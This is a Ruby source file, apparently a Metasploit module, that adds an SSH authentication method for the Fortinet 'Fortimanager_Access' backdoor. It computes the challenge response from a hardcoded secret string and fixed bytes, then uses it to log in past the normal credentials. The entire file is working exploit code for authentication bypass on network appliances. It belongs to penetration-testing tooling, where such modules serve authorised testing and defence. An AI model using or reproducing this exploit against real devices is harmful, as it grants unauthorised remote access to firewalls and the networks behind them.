# -*- coding: binary -*-

module Msf::Exploit::Remote::SSH
module AuthMethods
module FortinetBackdoor

  #
  # https://www.ietf.org/rfc/rfc4252.txt
  # https://www.ietf.org/rfc/rfc4256.txt
  #
  class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
    USERAUTH_INFO_REQUEST  = 60
    USERAUTH_INFO_RESPONSE = 61

    def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
      debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password)' }

      send_message(userauth_request(
=begin
        string    user name
        string    service name
        string    "password"
        boolean   FALSE
        string    plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
=end
        username,
        service_name,
        'password',
        false,
        password || ''
      ))

      tried = false

      loop do
        message = session.next_message

        return false unless message

        case message.type
        when USERAUTH_SUCCESS
          debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
          return true
        when USERAUTH_FAILURE
          debug { 'Received SSH_MSG_USERAUTH_FAILURE' }

          break if tried

          debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }

          send_message(userauth_request(
=begin
            string    user name (ISO-10646 UTF-8, as defined in [RFC-3629])
            string    service name (US-ASCII)
            string    "keyboard-interactive" (US-ASCII)
            string    language tag (as defined in [RFC-3066])
            string    submethods (ISO-10646 UTF-8)
=end
            username,
            service_name,
            'keyboard-interactive',
            '',
            ''
          ))

          tried = true
        when USERAUTH_INFO_REQUEST
          debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }

=begin
          string    name (ISO-10646 UTF-8)
          string    instruction (ISO-10646 UTF-8)
          string    language tag (as defined in [RFC-3066])
          int       num-prompts
          string    prompt[1] (ISO-10646 UTF-8)
          boolean   echo[1]
          ...
          string    prompt[num-prompts] (ISO-10646 UTF-8)
          boolean   echo[num-prompts]
=end
          name        = message.read_string
          instruction = message.read_string
          _           = message.read_string

          prompts = []

          message.read_long.times do
            prompt   = message.read_string
            echo     = message.read_bool
            prompts << [prompt, echo]
          end

          debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }

          send_message(Net::SSH::Buffer.from(
=begin
            byte      SSH_MSG_USERAUTH_INFO_RESPONSE
            int       num-responses
            string    response[1] (ISO-10646 UTF-8)
            ...
            string    response[num-responses] (ISO-10646 UTF-8)
=end
            :byte,   USERAUTH_INFO_RESPONSE,
            :long,   1,
            :string, custom_handler(name, instruction, prompts)
          ))
        else
          raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
        end
      end
    end

    # http://seclists.org/fulldisclosure/2016/Jan/26
    def custom_handler(title, instructions, prompt_list)
      n = prompt_list[0][0]
      m = Digest::SHA1.new
      m.update("\x00" * 12)
      m.update(n + 'FGTAbc11*xy+Qqz27')
      m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
      h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
      [h]
    end
  end

end
end
end
